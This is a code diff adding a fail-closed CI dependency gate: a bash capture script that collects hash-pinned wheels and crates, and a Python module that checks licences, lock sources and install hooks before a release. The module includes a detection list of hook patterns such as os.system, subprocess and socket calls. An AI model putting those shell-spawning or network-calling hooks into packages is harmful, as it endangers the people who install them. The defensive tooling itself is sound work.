+	plain_requirements="$DOWNLOAD_ROOT/pins-without-hashes.txt"
+	# Fetch by exact pin with hash checking deliberately disabled, then hash the
+	# bytes here and compare against the lock in the gate. Downloading *with*
+	# --require-hashes would make pip itself reject a tampered distribution, so
+	# the gate could never observe SOURCE_HASH_MISMATCH. The install of these same
+	# bytes happens later, offline and *with* --require-hashes, in install_gated.
+	sed -E 's/\\$//' "$lock" | grep -oE '^[A-Za-z0-9._-]+==[^ ;]+' \
+		>"$plain_requirements"
+	# The real lock may carry --index-url, --extra-index-url or --find-links,
+	# while this reconstructed plain file has none of them. Dropping them silently
+	# made collection resolve from a different source than install. The trusted
+	# gate therefore parses and *validates* those directives — allowed HTTPS
+	# origin, no userinfo, bounded relative path — and emits them one per line;
+	# anything unsupported or untrusted fails here rather than being dropped.
+	# mapfile keeps each value a single argv element, so no lock content is ever
+	# word-split or re-interpreted by this shell. This runs before the first
+	# network action, so a refused directive means nothing was ever fetched.
+	local -a source_options=()
+	if [ ! -f "$GATE_SCRIPT" ] || [ -L "$GATE_SCRIPT" ]; then
+		echo "ERROR: trusted gate script is missing beside this script." >&2
+		exit 2
+	fi
+	# Deliberately not `mapfile < <(python3 ...)`: inside process substitution the
+	# validator's exit status is discarded by set -e, so a refusal would be read as
+	# "no options" and collection would continue from the default index — the same
+	# silent drop this fix exists to remove. The status is checked explicitly.
+	local options_file="$DOWNLOAD_ROOT/validated-source-options.txt"
+	if ! python3 -I "$GATE_SCRIPT" lock-source-options \
+		--lock "$lock" --permitted-root "$(dirname -- "$lock")" >"$options_file"; then
+		echo "ERROR: lock source directives failed validation; refusing to collect." >&2
+		exit 2
+	fi
+	mapfile -t source_options <"$options_file"
+	# --only-binary=:all: is not only a build-hook guard for the gate environment:
+	# `pip download` executes an sdist's build backend to get its metadata even
+	# with --no-deps, so a wheel-only collection is what keeps unadjudicated
+	# dependency code from running before the licence stage.
+	"${PIP[@]}" download --no-deps --only-binary=:all: \
+		"${source_options[@]}" \
+		--dest "$DOWNLOAD_ROOT" -r "$plain_requirements" >/dev/null
+
+	# The enumeration and the licence fields both come from the *fetched
+	# distributions*, never from `pip inspect` of an installed environment: the
+	# closure is not installed yet at this point, and must not be until the
+	# licence stage has passed. The file keeps the `pip inspect` shape the gate
+	# already reconciles against the lock.
+	local installed="$CAPTURE_ROOT/python/installed.json"
+	printf '{"installed": []}\n' >"$installed"
+	while IFS= read -r pin; do
+		[ -n "$pin" ] || continue
+		local name version slug target distribution extracted
+		name="${pin%%==*}"
+		version="${pin#*==}"
+		slug="pypi__$(printf '%s' "$name" | tr '[:upper:]' '[:lower:]' | tr '._' '--')__$version"
+		target="$RAW_ROOT/$slug"
+		mkdir -p "$target"
+		distribution="$(find "$DOWNLOAD_ROOT" -maxdepth 1 -type f \
+			-iname "$(printf '%s' "$name" | tr '.-' '__')-${version}*" | head -n 1)"
+		if [ -z "$distribution" ]; then
+			echo "ERROR: no fetched distribution for ${name}==${version}" >&2
+			exit 2
+		fi
+		cp -- "$distribution" "$target/source.archive"
+		sha256sum "$target/source.archive" | cut -d' ' -f1 >"$target/source.sha256"
+		record_members "$distribution" "$target/members.txt"
+		extracted="$(mktemp -d)"
+		case "$distribution" in
+		*.whl) unzip -qq -o "$distribution" -d "$extracted" ;;
+		*) tar -xf "$distribution" -C "$extracted" ;;
+		esac
+		record_license_files "$extracted" "$target/licenses"
+		record_hook_sources "$extracted" "$target/hooks"
+		record_native_libraries "$extracted" "$target/native.json"
+		find "$extracted" -maxdepth 3 -type f -name '*.py' -printf '%P\n' |
+			LC_ALL=C sort >"$target/parsed_inputs.txt"
+		printf '{}\n' >"$target/bundled_library_licenses.json"
+		# Licence metadata is read out of the distribution's own METADATA/PKG-INFO
+		# by the trusted gate, which also re-checks that the archive declares the
+		# pinned name and version. A file whose metadata names another project
+		# fails here instead of being adjudicated under the wrong identity.
+		python3 -I "$GATE_SCRIPT" distribution-metadata \
+			--distribution "$distribution" --name "$name" --version "$version" \
+			>"$target/metadata.json"
+		jq --slurpfile declared "$target/metadata.json" \
+			'.installed += [{"metadata": $declared[0]}]' "$installed" \
+			>"$installed.next"
+		mv -- "$installed.next" "$installed"
+		rm -rf "${extracted:?}"
+	done <"$plain_requirements"
+}
+
+# Install exactly the distributions the licence stage already judged: offline,
+# from the collected bytes, with --require-hashes so pip itself proves each file
+# matches the lock. No index is consulted and nothing is re-resolved or
+# re-downloaded, so the installed bytes are the inspected bytes by construction —
+# which a second hash-less download could not establish for a multi-hash lock.
+install_gated() {
+	local lock="$1"
+	if [ -z "$LICENSE_REPORT" ]; then
+		echo "ERROR: --install-gated requires --license-report." >&2
+		exit 2
+	fi
+	if [ ! -f "$GATE_SCRIPT" ] || [ -L "$GATE_SCRIPT" ]; then
+		echo "ERROR: trusted gate script is missing beside this script." >&2
+		exit 2
+	fi
+	if [ ! -d "$DOWNLOAD_ROOT" ]; then
+		echo "ERROR: no collected distributions to install from: $DOWNLOAD_ROOT" >&2
+		exit 2
+	fi
+	if [ -z "$CAPTURE_ROOT" ]; then
+		echo "ERROR: --install-gated requires --capture-root to bind the judged lock." >&2
+		exit 2
+	fi
+	# The report alone is not permission: bind-install refuses unless the lock still
+	# digests to what the verdict read, every judged artifact is present in the
+	# collected root by digest, and the root holds nothing else. It then pins each
+	# project to the single judged digest, so a lock recording several hashes for one
+	# project cannot admit an artifact whose licence and contents were never judged.
+	local bound_requirements="$DOWNLOAD_ROOT/gated-requirements.txt"
+	if ! python3 -I "$GATE_SCRIPT" bind-install \
+		--report "$LICENSE_REPORT" \
+		--capture "$CAPTURE_ROOT" \
+		--download-root "$DOWNLOAD_ROOT" \
+		--output "$bound_requirements" >/dev/null; then
+		echo "ERROR: the licence verdict does not authorize installing these bytes." >&2
+		exit 2
+	fi
+	"${PIP[@]}" "${PIP_TARGET_ARGS[@]}" install \
+		--require-hashes --only-binary=:all: --no-index \
+		--find-links "$DOWNLOAD_ROOT" \
+		-r "$bound_requirements"
+}
+
+capture_cargo() {
+	local manifest="$1" manifest_dir
+	manifest_dir="$(dirname -- "$manifest")"
+	mkdir -p "$CAPTURE_ROOT/cargo"
+	cp -- "$manifest_dir/Cargo.lock" "$CAPTURE_ROOT/cargo/Cargo.lock"
+	cargo metadata --format-version 1 --locked --manifest-path "$manifest" \
+		>"$CAPTURE_ROOT/cargo/metadata.json"
+	cargo fetch --locked --manifest-path "$manifest" >/dev/null
+
+	while IFS=$'\t' read -r name version license; do
+			local slug target crate extracted
+			slug="cargo__${name}__${version}"
+			target="$RAW_ROOT/$slug"
+			mkdir -p "$target"
+			crate="$(find "${CARGO_HOME:-$HOME/.cargo}/registry/cache" -type f \
+				-name "${name}-${version}.crate" | head -n 1)"
+			if [ -z "$crate" ]; then
+				echo "ERROR: no fetched crate for ${name} ${version}" >&2
+				exit 2
+			fi
+			cp -- "$crate" "$target/source.archive"
+			sha256sum "$target/source.archive" | cut -d' ' -f1 >"$target/source.sha256"
+			record_members "$crate" "$target/members.txt"
+			extracted="$(mktemp -d)"
+			tar -xf "$crate" -C "$extracted"
+			record_license_files "$extracted" "$target/licenses"
+			record_hook_sources "$extracted" "$target/hooks"
+			printf '[]\n' >"$target/native.json"
+			printf '{}\n' >"$target/bundled_library_licenses.json"
+			find "$extracted" -maxdepth 3 -type f -name '*.rs' -printf '%P\n' |
+				LC_ALL=C sort >"$target/parsed_inputs.txt"
+			jq -n --arg name "$name" --arg version "$version" --arg license "$license" '{
+				ecosystem: "cargo",
+				name: $name,
+				version: $version,
+				license_expression: $license,
+				license: "",
+				classifiers: [],
+				distribution_inclusion: ["wheel"],
+				known_vulnerabilities: []
+			}' >"$target/metadata.json"
+			rm -rf "${extracted:?}"
+	done < <(jq -r '.packages[] | select(.source != null) | [.name, .version, (.license // "")] | @tsv' \
+		"$CAPTURE_ROOT/cargo/metadata.json")
+}
+
+if [ "$MODE" = "install" ]; then
+	install_gated "$PYTHON_LOCK"
+	echo "Installed the prescreened release closure from collected bytes."
+	exit 0
+fi
+
+case ",${ECOSYSTEMS}," in
+*,python,*)
+	if [ -z "$PYTHON_LOCK" ] || [ ! -f "$PYTHON_LOCK" ]; then
+		echo "ERROR: --python-lock must name the hash-pinned release lock." >&2
+		exit 2
+	fi
+	if [ -z "$DOWNLOAD_ROOT" ]; then
+		echo "ERROR: --download-root is required so the gated install reuses these bytes." >&2
+		exit 2
+	fi
+	capture_python "$PYTHON_LOCK"
+	;;
+esac
+
+case ",${ECOSYSTEMS}," in
+*,cargo,*)
+	if [ -z "$CARGO_MANIFEST" ] || [ ! -f "$CARGO_MANIFEST" ]; then
+		echo "ERROR: --cargo-manifest must name the release Cargo.toml." >&2
+		exit 2
+	fi
+	capture_cargo "$CARGO_MANIFEST"
+	;;
+esac
+
+echo "Raw dependency capture complete: $(find "$RAW_ROOT" -mindepth 1 -maxdepth 1 -type d | wc -l) dependencies."
diff --git a/scripts/ci/release_dependency_gate.py b/scripts/ci/release_dependency_gate.py
new file mode 100644
index 0000000000..8989bfea84
--- /dev/null
+++ b/scripts/ci/release_dependency_gate.py
@@ -0,0 +1,2380 @@
+#!/usr/bin/env python3
+"""Fail-closed pre-publish dependency gate for org releases (issue #2342).
+
+``scripts/ci/sbom_inventory_aggregator.py`` is a *scheduled, informational* org
+SBOM roll-up: it flags GPL/AGPL/NOASSERTION components for governance, but it
+is not per-dependency, not fail-closed, and not bound to a release head. This
+module is the missing gate. It runs in
+``.github/workflows/release-dependency-license-strix-gate.yml`` **before** a
+release workflow publishes anything, and it either exits ``0`` or refuses the
+release. There is no neutral outcome, no allow-failure, and no bypass.
+
+Design: the gate is a pure function over *captured* inputs. Workflow steps run
+``pip inspect``, ``cargo metadata --locked``, archive listing, ``readelf -d``,
+and Strix; each writes a file into a capture directory. This module only reads
+files. That split keeps every deterministic decision unit-testable without a
+runner and makes the Actions-only parts explicit instead of simulated.
+
+Capture layout (produced by the workflow, consumed here)::
+
+    <capture>/
+      release.json                      source repository/SHA + artifact names
+      python/lock.txt                   the hash-pinned lock that was installed
+      python/installed.json             `pip inspect` of the build environment
+      cargo/Cargo.lock                  the committed Cargo lock
+      cargo/metadata.json               `cargo metadata --format-version 1 --locked`
+      evidence/<slug>.json              per-dependency captured evidence
+      strix/bindings/<slug>.json        per-dependency Strix structured binding
+      license-selections.json           optional dual-license selections
+
+Every resolved dependency of both ecosystems must appear in the lock *and* in
+the environment/build graph; any asymmetry fails ``LOCK_ENV_MISMATCH`` or
+``CARGO_LOCK_GRAPH_MISMATCH``. No dependency is exempt: bootstrap tools such as
+``pip`` are pinned in this organization's own ``*-hashes.txt`` files, so a lock
+that omits an installed distribution is a defect, not a special case.
+
+Strix evidence is accepted **only** as a machine-readable binding. A textual
+"0 findings" or "No exploitable vulnerabilities detected" is rejected
+(``STRIX_TEXTUAL_PASS_REJECTED``), and a missing or malformed binding is a
+failure rather than a neutral result. The binding's fail-closed shape and error
+type follow ``scripts/ci/strix_evidence_binding.py``, which is imported from
+this script's **own** directory so the gate behaves identically wherever the
+trusted verifier is materialized.
+"""
+
+from __future__ import annotations
+
+import argparse
+import email.parser
+import hashlib
+import io
+import json
+import os
+import re
+import sys
+import stat
+import tarfile
+import tomllib
+import urllib.parse
+import uuid
+import zipfile
+from dataclasses import dataclass, field
+from pathlib import Path, PurePosixPath
+from typing import Any, Iterable, Mapping, Sequence
+
+try:
+    from scripts.ci.spdx_license_policy import (
+        LICENSE_MISSING,
+        LICENSE_TEXT_MISSING,
+        LICENSE_TEXT_UNVERIFIED,
+        LicenseDecision,
+        evaluate_license_expression,
+        recognize_license_text,
+        scan_license_text,
+        spdx_from_classifiers,
+    )
+except ImportError:  # pragma: no cover - direct `python3 -I <script>` execution in CI
+    # Python 3.11+ makes `-I` imply `-P`, so sys.path carries neither the
+    # invoking directory nor the script's own directory. Resolve the sibling
+    # policy module the same way the Strix binder is resolved: next to this
+    # script, by its real path.
+    sys.path.insert(0, str(Path(__file__).resolve().parent))
+    from spdx_license_policy import (
+        LICENSE_MISSING,
+        LICENSE_TEXT_MISSING,
+        LICENSE_TEXT_UNVERIFIED,
+        LicenseDecision,
+        evaluate_license_expression,
+        recognize_license_text,
+        scan_license_text,
+        spdx_from_classifiers,
+    )
+
+# ---------------------------------------------------------------------------
+# Trusted-path binder resolution (same semantics as strix_quick_gate.sh, but
+# resolved next to *this* script rather than against a repository root).
+# ---------------------------------------------------------------------------
+
+BINDER_FILENAME = "strix_evidence_binding.py"
+
+
+def resolve_evidence_binder(script_dir: Path | None = None) -> Path:
+    """Return the Strix binder that sits next to this script, failing closed."""
+
+    directory = (script_dir or Path(__file__).resolve().parent).resolve()
+    binder = directory / BINDER_FILENAME
+    if binder.is_symlink() or not binder.is_file():
+        raise GateError(
+            "STRIX_BINDER_UNAVAILABLE",
+            f"trusted Strix evidence binder is missing at {binder}",
+        )
+    return binder
+
+
+# ---------------------------------------------------------------------------
+# Stable failure codes. Tests assert on these; never on prose.
+# ---------------------------------------------------------------------------
+
+CAPTURE_INCOMPLETE = "CAPTURE_INCOMPLETE"
+LOCK_UNPINNED = "LOCK_UNPINNED"
+LOCK_ENV_MISMATCH = "LOCK_ENV_MISMATCH"
+CARGO_LOCK_GRAPH_MISMATCH = "CARGO_LOCK_GRAPH_MISMATCH"
+CARGO_CHECKSUM_MISSING = "CARGO_CHECKSUM_MISSING"
+EVIDENCE_MISSING = "EVIDENCE_MISSING"
+EVIDENCE_INCOMPLETE = "EVIDENCE_INCOMPLETE"
+SOURCE_HASH_MISMATCH = "SOURCE_HASH_MISMATCH"
+LICENSE_TEXT_DISAGREEMENT = "LICENSE_TEXT_DISAGREEMENT"
+LICENSE_DENIED_IN_BUNDLED_TEXT = "LICENSE_DENIED_IN_BUNDLED_TEXT"
+NATIVE_LINK_DENIED = "NATIVE_LINK_DENIED"
+NATIVE_LINK_UNKNOWN = "NATIVE_LINK_UNKNOWN"
+ARCHIVE_PATH_ESCAPE = "ARCHIVE_PATH_ESCAPE"
+INSTALL_HOOK = "INSTALL_HOOK"
+LOCK_SOURCE_UNSUPPORTED = "LOCK_SOURCE_UNSUPPORTED"
+LOCK_SOURCE_ORIGIN_DENIED = "LOCK_SOURCE_ORIGIN_DENIED"
+LOCK_SOURCE_CREDENTIAL_IN_URL = "LOCK_SOURCE_CREDENTIAL_IN_URL"
+LOCK_SOURCE_PATH_ESCAPE = "LOCK_SOURCE_PATH_ESCAPE"
+SCOPE_UNVERIFIABLE = "SCOPE_UNVERIFIABLE"
+SCOPE_SET_MISMATCH = "SCOPE_SET_MISMATCH"
+STRIX_CREDENTIALS_ABSENT = "STRIX_CREDENTIALS_ABSENT"
+STRIX_BINDING_MISSING = "STRIX_BINDING_MISSING"
+STRIX_BINDING_MALFORMED = "STRIX_BINDING_MALFORMED"
+STRIX_BINDING_UNBOUND = "STRIX_BINDING_UNBOUND"
+STRIX_TEXTUAL_PASS_REJECTED = "STRIX_TEXTUAL_PASS_REJECTED"
+STRIX_FINDINGS_OPEN = "STRIX_FINDINGS_OPEN"
+
+SHA256_RE = re.compile(r"^[0-9a-f]{64}$")
+GIT_SHA_RE = re.compile(r"^[0-9a-f]{40}$")
+REPOSITORY_RE = re.compile(r"^[A-Za-z0-9._-]+/[A-Za-z0-9._-]+$")
+_NORMALIZE_RE = re.compile(r"[-_.]+")
+_MAX_JSON_BYTES = 16 * 1024 * 1024
+# A distribution's declared metadata header block; anything larger is refused
+# rather than read, since it is adjudicated before the closure is installed.
+_MAX_METADATA_BYTES = 4 * 1024 * 1024
+
+CYCLONEDX_SCHEMA = "https://cyclonedx.org/schema/bom-1.7.schema.json"
+CYCLONEDX_PREDICATE_TYPE = "https://cyclonedx.org/bom"
+SOURCE_IDENTITY_FILENAME = "source-identity.json"
+CHECKSUM_FILENAME = "checksums.sha256"
+FILENAME_PROPERTY = "cwl:artifact:filename"
+
+# The two stages of one release gate. ``license`` enumerates the full dependency
+# scope and applies license/evidence policy with no provider credential present,
+# so a denied or unverifiable licence is refused before any model path is
+# reached. ``full`` additionally requires the machine-readable Strix binding.
+# Only a ``full`` report may be sealed, so a passing prescreen can never stand in
+# for the Strix stage.
+LICENSE_STAGE = "license"
+FULL_STAGE = "full"
+GATE_STAGES = (LICENSE_STAGE, FULL_STAGE)
+
+# The ecosystems whose resolved scope this gate can establish. An ecosystem
+# outside this set is SCOPE_UNVERIFIABLE rather than silently skipped: CO#1226
+# treated coverage as satisfied because one component of one ecosystem existed.
+SUPPORTED_ECOSYSTEMS = {"python": "pypi", "cargo": "cargo"}
+
+# The provider credentials the Strix stage requires. They are declared optional
+# on the reusable workflow so the licence stage can run without them; reaching
+# the Strix stage without them is a fail-closed refusal, never a skip.
+STRIX_CREDENTIAL_NAMES = (
+    "BYTEZ_API_KEY",
+    "NVIDIA_NIM_API_KEY",
+    "NVIDIA_NIM_API_KEY_SUB",
+    "OPENROUTER_API_KEY",
+    "OPENAI_API_KEY",
+)
+
+FIXTURE_SCHEMA = "cwl.release-dependency-fixture/1"
+BINDING_SCHEMA = "cwl.release-dependency-strix-binding/1"
+BINDING_VERDICTS = frozenset({"no_exploitable_findings", "findings_present"})
+
+#: Every synthetic fixture simulates exactly these adversarial surfaces.
+REQUIRED_SCENARIOS: tuple[str, ...] = (
+    "archive_traversal",
+    "credential_network",
+    "file_parsing",
+    "install_hooks",
+    "known_vulnerability_surface",
+    "native_library_loading",
+)
+
+#: Platform runtime sonames every compiled wheel and every Rust binary links.
+#: Denying LGPL/GPL outright without this allowlist would fail the GREEN case on
+#: any real artifact, including fast-mlsirm's own maturin wheel. Each entry is
+#: copied into the SBOM component properties so the exemption is auditable.
+SYSTEM_RUNTIME_SONAMES: dict[str, tuple[str, str]] = {
+    "ld-linux-x86-64.so.2": ("LGPL-2.1-or-later", "glibc dynamic loader, OS-provided"),
+    "libc.so.6": ("LGPL-2.1-or-later", "glibc C runtime, dynamically linked, OS-provided"),
+    "libdl.so.2": ("LGPL-2.1-or-later", "glibc dynamic-loading shim, OS-provided"),
+    "libgcc_s.so.1": (
+        "GPL-3.0-or-later WITH GCC-exception-3.1",
+        "GCC unwinder; the runtime-library exception permits proprietary linking",
+    ),
+    "libgomp.so.1": (
+        "GPL-3.0-or-later WITH GCC-exception-3.1",
+        "GCC OpenMP runtime; runtime-library exception applies",
+    ),
+    "libm.so.6": ("LGPL-2.1-or-later", "glibc math runtime, dynamically linked"),
+    "libpthread.so.0": ("LGPL-2.1-or-later", "glibc threading runtime, dynamically linked"),
+    "libresolv.so.2": ("LGPL-2.1-or-later", "glibc resolver runtime, dynamically linked"),
+    "librt.so.1": ("LGPL-2.1-or-later", "glibc realtime runtime, dynamically linked"),
+    "libstdc++.so.6": (
+        "GPL-3.0-or-later WITH GCC-exception-3.1",
+        "GCC C++ runtime; runtime-library exception applies",
+    ),
+    "libutil.so.1": ("LGPL-2.1-or-later", "glibc utility runtime, dynamically linked"),
+}
+
+_LIBPYTHON_RE = re.compile(r"^libpython3\.\d+m?\.so(?:\.\d+\.\d+)?$")
+
+#: Source patterns that make an install/build hook untrusted.
+_HOOK_PATTERNS: tuple[tuple[str, str], ...] = (
+    ("subprocess.", "spawns a subprocess"),
+    ("os.system(", "spawns a shell"),
+    ("os.popen(", "spawns a shell"),
+    ("urllib.request", "performs a network request"),
+    ("http.client", "performs a network request"),
+    ("requests.", "performs a network request"),
+    ("socket.socket", "opens a socket"),
+    ("std::process::Command", "spawns a subprocess"),
+    ("reqwest::", "performs a network request"),
+)
+_CMDCLASS_COMMANDS: tuple[str, ...] = ("install", "develop", "egg_info")
+
+
+class GateError(ValueError):
+    """A fail-closed gate error carrying a stable machine-readable code."""
+
+    def __init__(self, code: str, detail: str) -> None:
+        """Store the stable failure code alongside its human-readable detail."""
+        super().__init__(f"{code}: {detail}")
+        self.code = code
+        self.detail = detail
+
+
+@dataclass(frozen=True)
+class Failure:
+    """One refusal reason attributed to a subject (a dependency key or input)."""
+
+    code: str
+    subject: str
+    detail: str
+
+    def to_json(self) -> dict[str, str]:
+        """Serialize this failure for the gate report artifact."""
+        return {"code": self.code, "subject": self.subject, "detail": self.detail}
+
+
+@dataclass(frozen=True)
+class Dependency:
+    """One resolved dependency of the release, in either ecosystem."""
+
+    ecosystem: str
+    name: str
+    version: str
+    expected_hashes: frozenset[str] = frozenset()
+
+    @property
+    def key(self) -> str:
+        """Return the canonical ``ecosystem/name@version`` identity."""
+        return f"{self.ecosystem}/{self.name}@{self.version}"
+
+    @property
+    def slug(self) -> str:
+        """Return the filesystem-safe capture filename stem for this dependency."""
+        return self.key.replace("/", "__").replace("@", "__")
+
+
+@dataclass
+class GateReport:
+    """The gate's complete verdict plus the provenance it hands downstream."""
+
+    source_repository: str
+    source_sha: str
+    binder_sha256: str = ""
+    lock_sha256: str = ""
+    stage: str = FULL_STAGE
+    scopes: list[dict[str, Any]] = field(default_factory=list)
+    dependencies: list[dict[str, Any]] = field(default_factory=list)
+    failures: list[Failure] = field(default_factory=list)
+
+    @property
+    def passed(self) -> bool:
+        """Return whether the release may proceed; any failure refuses it."""
+        return not self.failures
+
+    def to_json(self) -> dict[str, Any]:
+        """Serialize the gate verdict deterministically for CI artifacts."""
+        return {
+            "schema": "cwl.release-dependency-gate/1",
+            "result": "PASS" if self.passed else "FAIL",
+            "source_repository": self.source_repository,
+            "source_sha": self.source_sha,
+            "stage": self.stage,
+            "strix_evidence_binder_sha256": self.binder_sha256,
+            # The install step may only install the artifacts this verdict judged,
+            # from the lock this verdict read; both are bound here by digest.
+            "python_lock_sha256": self.lock_sha256,
+            "scopes": sorted(self.scopes, key=lambda row: row["ecosystem"]),
+            "dependency_count": len(self.dependencies),
+            "dependencies": sorted(self.dependencies, key=lambda row: row["key"]),
+            "failures": sorted(
+                (failure.to_json() for failure in self.failures),
+                key=lambda row: (row["code"], row["subject"]),
+            ),
+        }
+
+
+# ---------------------------------------------------------------------------
+# Capture loading helpers
+# ---------------------------------------------------------------------------
+
+
+def _require_regular_file(path: Path, code: str) -> Path:
+    """Reject symlinks, directories, and missing capture members."""
+
+    if path.is_symlink() or not path.is_file():
+        raise GateError(code, f"required capture member is missing: {path}")
+    return path
+
+
+def load_json(path: Path, code: str = CAPTURE_INCOMPLETE) -> Any:
+    """Load one bounded JSON capture file, failing closed on any defect."""
+
+    _require_regular_file(path, code)
+    if path.stat().st_size > _MAX_JSON_BYTES:
+        raise GateError(code, f"capture member exceeds the size limit: {path}")
+    try:
+        return json.loads(path.read_text(encoding="utf-8"))
+    except (UnicodeDecodeError, json.JSONDecodeError) as error:
+        raise GateError(code, f"capture member is not valid JSON: {path} ({error})") from error
+
+
+def normalize_project_name(name: str) -> str:
+    """Return the PEP 503 normalized form of a Python project name."""
+
+    return _NORMALIZE_RE.sub("-", name).lower()
+
+
+def _require_list(evidence: Mapping[str, Any], key: str, subject: str) -> list[Any]:
+    """Return one captured evidence array, failing closed on any other shape."""
+
+    value = evidence.get(key, [])
+    if not isinstance(value, list):
+        raise GateError(EVIDENCE_INCOMPLETE, f"{subject}: {key} must be an array")
+    return value
+
+
+def _require_mapping(evidence: Mapping[str, Any], key: str, subject: str) -> Mapping[str, Any]:
+    """Return one captured evidence object, failing closed on any other shape."""
+
+    value = evidence.get(key, {})
+    if not isinstance(value, Mapping):
+        raise GateError(EVIDENCE_INCOMPLETE, f"{subject}: {key} must be an object")
+    return value
+
+
+# ---------------------------------------------------------------------------
+# Lock source directives: parse, validate, then use
+# ---------------------------------------------------------------------------
+#
+# `pip install -r <lock>` reads the real lock and honors any `--index-url`,
+# `--extra-index-url` or `--find-links` in it. The capture step's `pip download`
+# used a reconstructed plain requirements file that silently dropped every
+# `-`-prefixed directive, so install and collection could resolve from different
+# sources — and a lock using a private or extra index failed capture outright.
+#
+# The fix is not to forward what the lock says. Every directive is parsed,
+# validated against the same trusted-origin and bounded-path policy
+# `materialize_base_python_requirements.py` already applies, and only then turned
+# into an explicit option list. An unlisted origin, a non-HTTPS scheme, a URL
+# carrying userinfo, a path escaping the permitted root, and any directive form
+# outside the supported set are each a hard failure. Nothing is dropped silently:
+# silent dropping was the defect.
+#
+# The supported dialect is deliberately narrow, and this organization's own
+# `requirements-*-hashes.txt` files use none of these forms today. Nested includes
+# (`-r`/`-c`) and environment markers are rejected rather than reimplemented,
+# because honoring them would require a second requirements dialect and would let
+# install and download disagree about which distributions exist.
+
+ALLOWED_INDEX_HOSTS = frozenset({"pypi.org", "files.pythonhosted.org"})
+_INDEX_DIRECTIVES = {"-i", "--index-url", "--extra-index-url"}
+_FIND_LINKS_DIRECTIVES = {"-f", "--find-links"}
+_NESTED_INCLUDE_DIRECTIVES = {"-r", "--requirement", "-c", "--constraint"}
+# The same rejected characters `_bounded_requirement_include_target` uses.
+_UNSAFE_PATH_CHARACTERS = ("\\", ":", "?", "#")
+
+
+def _require_trusted_index_origin(directive: str, url: str) -> None:
+    """Require an HTTPS, default-port, host-allowlisted index URL with no userinfo.
+
+    This mirrors ``materialize_base_python_requirements._is_trusted_uv_https_host``.
+    No failure detail includes the URL, its query, or its host when userinfo is
+    present, so credential material cannot reach a log or the gate report through
+    a refusal message.
+    """
+
+    parsed = urllib.parse.urlparse(url)
+    if parsed.username is not None or parsed.password is not None:
+        raise GateError(
+            LOCK_SOURCE_CREDENTIAL_IN_URL,
+            f"{directive} carries userinfo credentials; the URL is withheld from this "
+            "message and from the gate report",
+        )
+    try:
+        default_port = parsed.port in (None, 443)
+    except ValueError:
+        default_port = False
+    if parsed.scheme != "https" or not default_port:
+        raise GateError(
+            LOCK_SOURCE_ORIGIN_DENIED,
+            f"{directive} must use HTTPS on the default port",
+        )
+    if parsed.hostname not in ALLOWED_INDEX_HOSTS:
+        raise GateError(
+            LOCK_SOURCE_ORIGIN_DENIED,
+            f"{directive} names host {parsed.hostname!r}, which is not an allowed "
+            "package index origin",
+        )
+
+
+def _resolve_bounded_find_links(directive: str, target: str, root: Path) -> Path:
+    """Resolve a `--find-links` directory, requiring it to stay inside ``root``.
+
+    The relative-path rules are the ones
+    ``materialize_base_python_requirements._bounded_requirement_include_target``
+    applies to a bounded include: normalized, relative, no ``.`` or ``..`` part,
+    and none of the unsafe characters. A URL-valued ``--find-links`` is refused
+    outright, so this directive can never reach the network.
+    """
+
+    if target.startswith(("-", "~")) or any(
+        character in target for character in _UNSAFE_PATH_CHARACTERS
+    ):
+        raise GateError(
+            LOCK_SOURCE_PATH_ESCAPE,
+            f"{directive} target is not a safe relative directory path",
+        )
+    candidate = PurePosixPath(target)
+    if (
+        not candidate.parts
+        or target != candidate.as_posix()
+        or candidate.is_absolute()
+        or "." in candidate.parts
+        or ".." in candidate.parts
+    ):
+        raise GateError(
+            LOCK_SOURCE_PATH_ESCAPE,
+            f"{directive} target must be a normalized relative path inside the release tree",
+        )
+    resolved_root = root.resolve()
+    resolved = (resolved_root / candidate).resolve()
+    if resolved != resolved_root and resolved_root not in resolved.parents:
+        raise GateError(
+            LOCK_SOURCE_PATH_ESCAPE,
+            f"{directive} target escapes the permitted release root",
+        )
+    if resolved.is_symlink() or not resolved.is_dir():
+        raise GateError(
+            LOCK_SOURCE_PATH_ESCAPE,
+            f"{directive} target is not a regular directory inside the release tree",
+        )
+    return resolved
+
+
+def _split_directive(line: str) -> tuple[str, list[str]]:
+    """Split one directive line into its option name and its value fields.
+
+    The value count is not judged here: an unsupported flag such as ``--no-index``
+    legitimately carries no value, and reporting it as a value-count problem would
+    hide the real reason it is refused.
+    """
+
+    if "=" in line.split(" ", 1)[0]:
+        directive, _, value = line.partition("=")
+        return directive.strip(), [value.strip()]
+    fields = line.split()
+    return fields[0], fields[1:]
+
+
+def _single_value(directive: str, values: Sequence[str]) -> str:
+    """Return the one value a supported source directive must carry."""
+
+    if len(values) != 1 or not values[0]:
+        raise GateError(
+            LOCK_SOURCE_UNSUPPORTED,
+            f"lock directive {directive!r} must carry exactly one value",
+        )
+    return values[0]
+
+
+def lock_download_options(text: str, permitted_root: Path) -> list[str]:
+    """Return the validated pip options that make download resolve like install.
+
+    Raises ``GateError`` for every unsupported or untrusted form rather than
+    dropping it, so capture can never resolve from a source install did not use.
+    """
+
+    joined = re.sub(r"\\\s*\n", " ", text)
+    options: list[str] = []
+    for raw in joined.splitlines():
+        line = raw.split("#", 1)[0].strip()
+        if not line:
+            continue
+        if not line.startswith("-"):
+            if ";" in line:
+                raise GateError(
+                    LOCK_SOURCE_UNSUPPORTED,
+                    "environment markers are not supported: install and download could "
+                    "disagree about which distributions exist",
+                )
+            continue
+        if line.startswith("--hash="):
+            continue
+        directive, values = _split_directive(line)
+        if directive in _NESTED_INCLUDE_DIRECTIVES:
+            raise GateError(
+                LOCK_SOURCE_UNSUPPORTED,
+                f"{directive} includes are not supported; inline the closure into one "
+                "hash-pinned lock",
+            )
+        if directive in _INDEX_DIRECTIVES:
+            value = _single_value(directive, values)
+            _require_trusted_index_origin(directive, value)
+            options.extend([directive, value])
+            continue
+        if directive in _FIND_LINKS_DIRECTIVES:
+            resolved = _resolve_bounded_find_links(
+                directive, _single_value(directive, values), permitted_root
+            )
+            options.extend([directive, str(resolved)])
+            continue
+        raise GateError(
+            LOCK_SOURCE_UNSUPPORTED,
+            f"lock directive {directive!r} is not a supported source form",
+        )
+    return options
+
+
+# ---------------------------------------------------------------------------
+# Python enumeration
+# ---------------------------------------------------------------------------
+
+
+def parse_python_lock(text: str) -> dict[tuple[str, str], frozenset[str]]:
+    """Parse a hash-pinned requirements lock into ``(name, version) -> hashes``."""
+
+    joined = re.sub(r"\\\s*\n", " ", text)
+    entries: dict[tuple[str, str], frozenset[str]] = {}
+    for raw in joined.splitlines():
+        line = raw.split("#", 1)[0].strip()
+        if not line or line.startswith("-"):
+            continue
